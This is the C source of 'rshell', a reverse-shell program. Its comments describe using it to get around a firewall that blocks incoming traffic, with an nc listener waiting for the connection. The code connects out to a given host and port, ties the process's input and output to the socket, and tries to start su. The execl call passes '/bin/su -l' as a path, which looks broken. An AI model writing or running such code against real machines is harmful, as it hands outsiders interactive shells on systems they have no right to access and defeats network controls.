/*
 *  rshell -- a reverse shell
 *
 *  Copyright (c) 2000 Patroklos Argyroudis <argp at domain cs.tcd.ie>
 *  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */
 
/* rshell -- a reverse shell
 * Patroklos Argyroudis <argp at domain cs.tcd.ie>
 *
 * A reverse shell, a simple idea that has many practical uses.  On your
 * system wait for a connection at a specified port, e.g.: nc -l -p 4000.
 * On a system behind a firewall that blocks incoming traffic, give the
 * following command: rshell <your IP> 4000.  The client will connect to
 * your system and offer you a shell.  The firewall will not block it since
 * it is outgoing traffic, simple eh?
 *
 * $Id: rshell.c,v 1.3 2005/11/08 22:45:42 argp Exp $
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

#define	SMALBUF	256

void	xprintf(char *msg, ...);
 
int
main(int argc, char *argv[])
{
 int sfd, port;
 struct hostent *host;
 struct sockaddr_in saddr;
 
 if(argc != 3)
 {
  xprintf("rshell by Patroklos Argyroudis <argp at domain cs.tcd.ie>\nusage: %s <IP or hostname> <port>\n", argv[0]);
 }
 
 host = gethostbyname(argv[1]);
 if(!host)
 {
  xprintf("error resolving %s\n", argv[1]);
 }
 
 port = atoi(argv[2]);
 
 if((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
 {
  xprintf("socket error\n");
 }
 
 bzero(&saddr, sizeof(saddr));
 saddr.sin_family = AF_INET;
 saddr.sin_port = htons(port);
 saddr.sin_addr.s_addr = *(long *)(host->h_addr);
 
 if((connect(sfd, (struct sockaddr *)&saddr, sizeof(saddr))) < 0)
 {
  xprintf("connect error\n");
 }
 
 if((dup2(sfd, 0)) == -1)
 {
  xprintf("dup2 error\n");
 }
 
 if((dup2(sfd, 1)) == -1)
 {
  xprintf("dup2 error\n");
 }
 
 if((dup2(sfd, 2)) == -1)
 {
  xprintf("dup2 error\n");
 }
 
 if((execl("/bin/su -l", "su", (char *)0)) == -1)
 {
  xprintf("execl error\n");
 }
 
 if((close(sfd)) == -1)
 {
  xprintf("close error\n");
 }
 
 return(EXIT_SUCCESS);
}

void
xprintf(char *msg, ...)
{
 char buffer[SMALBUF];
 va_list args;
     
 va_start(args, msg);
 vsnprintf(buffer, SMALBUF, msg, args);
             
 fprintf(stderr, "%s", buffer);
 va_end(args);
 exit(EXIT_FAILURE);
}

/* EOF */
